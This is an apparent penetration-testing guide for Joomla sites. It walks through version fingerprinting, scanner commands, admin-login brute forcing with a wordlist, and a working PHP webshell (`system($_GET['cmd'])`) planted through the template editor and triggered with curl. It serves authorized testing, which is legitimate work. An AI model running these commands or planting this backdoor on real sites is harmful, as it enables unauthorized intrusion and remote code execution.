> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Joomla

Joomla sits somewhere between WordPress and Drupal in terms of ecosystem size, enough third-party components and templates to make vulnerable extension hunting worthwhile, but version fingerprinting still matters since core RCEs and directory traversal bugs have shown up repeatedly across major versions. The authenticated path to a shell is almost identical to WordPress and Drupal: edit a template file through the admin panel and call it directly.

> **Unauthenticated**
>
> Version fingerprinting via manifest/meta files, user enumeration, and checking installed extensions against known CVEs.

> **Authenticated**
>
> With admin access to Templates, editing a template file for direct PHP execution.

***

## Fingerprinting the Version

Joomla's version shows up in several places depending on what's been cleaned up post-install, worth checking all of them since any one can be missing.

```text theme={null}
http://TARGET.TLD/README.txt                                  # install version, often left in place
http://TARGET.TLD/administrator/manifests/files/joomla.xml      # exact version in the manifest
http://TARGET.TLD/language/en-GB/en-GB.xml                      # version listed in the language pack metadata
http://TARGET.TLD/plugins/system/cache/cache.xml                # approximate version via a system plugin
```

> [!TIP]
>
> The homepage's `generator` meta tag is the fastest check if nothing's been hardened:
>
> ```text theme={null}
> curl -s http://TARGET.TLD | grep -i "generator"
> ```

***

## JoomScan

JoomScan (OWASP) is the Joomla-specific equivalent of WPScan, covering version fingerprinting, user enumeration, and known vulnerabilities in one pass.

```text theme={null}
joomscan -u http://TARGET.TLD
```

Enumerate installed extensions and registered users, both useful before deciding where to focus.

```text theme={null}
joomscan -u http://TARGET.TLD --extensions
joomscan -u http://TARGET.TLD --users
```

Check for known vulnerabilities across detected components, and save the full report.

```text theme={null}
joomscan -u http://TARGET.TLD --vulnerabilities -o joomscan-results.txt
```

***

## Droopescan

Droopescan also covers Joomla despite its Drupal-leaning name, worth running alongside JoomScan since the two sometimes catch different things.

```text theme={null}
droopescan scan joomla --url http://TARGET.TLD/
```

***

## JoomlaScan

An older, standalone scanner, still useful as a second opinion, it needs Python 2 and BeautifulSoup to run.

```text theme={null}
python2 -m pip install bs4
python2 joomlascan.py -u http://TARGET.TLD
```

***

## Login Brute Forcing

A dedicated brute-force script against the admin login, swap in the real wordlist path for your environment.

```text theme={null}
python3 joomla-brute.py -u http://TARGET_IP -w /usr/share/wordlists/rockyou.txt -usr admin
```

***

## Getting a Webshell (Authenticated)

Once you have admin access, the Template Manager works exactly the same way WordPress's theme editor does, edit a template file and execute PHP through it directly.

**1. Open the template editor**

In the admin dashboard, go to **Templates → Configuration**, pick a template name, then open one of its files for editing.

**2. Insert the payload**

Add a one-line PHP backdoor to the file:

```php theme={null}
system($_GET['cmd']);
```

Save it.

**3. Trigger it directly**

Request the edited file with your command in the query string. The default Protostar template's error page is a common, rarely-noticed choice:

```text theme={null}
curl -s "http://TARGET.TLD/templates/protostar/error.php?cmd=id"
```

***

## Quick Reference Tools

> **[Hackviser: JoomScan](https://hackviser.com/tactics/tools/joomscan)**
>
> Reference used for this page.

> **[HackTricks: Joomla](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/joomla)**
>
> Deeper dive into version fingerprinting paths covered above.

> **[JoomScan](https://github.com/OWASP/joomscan)**
>
> OWASP's Joomla-specific vulnerability scanner.

> **[Droopescan](https://github.com/SamJoan/droopescan)**
>
> Multi-CMS scanner, also covers Joomla.

> **[JoomlaScan](https://github.com/drego85/JoomlaScan)**
>
> Older standalone scanner, Python 2 only.

> **[joomla-bruteforce](https://github.com/ajnik/joomla-bruteforce)**
>
> Dedicated login brute-force script.

> [!WARNING]
>
> Brute forcing the admin login and editing templates both leave clear traces (failed-login logs, a modified file in version control if the site uses one). Confirm both are in scope before using them.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.